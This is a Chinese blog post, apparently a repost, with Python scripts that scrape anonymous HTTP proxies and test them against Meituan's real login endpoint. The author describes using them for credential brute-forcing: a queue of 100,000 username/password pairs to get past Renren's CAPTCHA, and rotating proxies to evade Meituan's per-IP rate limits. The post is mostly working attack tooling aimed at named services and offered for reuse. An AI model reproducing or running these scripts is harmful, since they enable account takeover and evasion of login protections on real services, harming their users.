批量獲取及驗(yàn)證HTTP代理的Python腳本

更新時(shí)間：2017年04月23日 22:16:42 投稿：mdxy-dxy

這篇文章主要介紹了批量獲取及驗(yàn)證HTTP代理的Python腳本,需要的朋友可以參考下

1. 在掃號(hào)人人網(wǎng)時(shí)，我遇到單個(gè)賬號(hào)錯(cuò)誤兩次，強(qiáng)制要求輸入驗(yàn)證碼，而對(duì)方并未實(shí)施IP策略。

我采用維護(hù)10萬（用戶名，密碼）隊(duì)列的方式來繞過驗(yàn)證碼。具體的做法是，當(dāng)某個(gè)用戶名、密碼組合遇到需要驗(yàn)證碼，就把該破解序列掛起，放到隊(duì)列尾部等待下次測(cè)試，繼續(xù)破解其他賬號(hào)密碼。

這樣就可以保證2/3的時(shí)間都在進(jìn)行正常破解和掃號(hào)。

2. 在破解美團(tuán)網(wǎng)某系統(tǒng)賬號(hào)時(shí)，我遇到了單個(gè)IP訪問有一定限制，請(qǐng)求頻率不可過快。于是我掛了72個(gè) HTTP代理來解決這個(gè)問題。看似每個(gè)IP的請(qǐng)求都正常，但其實(shí)從整個(gè)程序上看，效率還是挺可觀的。

本篇我發(fā)出自己抓HTTP的腳本片段，其實(shí)只有幾行。匿名代理是從這里抓取的：http://www.xici.net.co/nn/

首先獲取代理列表：

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接著驗(yàn)證代理是否可用，因?yàn)槲沂怯糜谄平饷缊F(tuán)網(wǎng)系統(tǒng)的賬號(hào)，因此用了美團(tuán)的頁面標(biāo)記：

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

您可能感興趣的文章: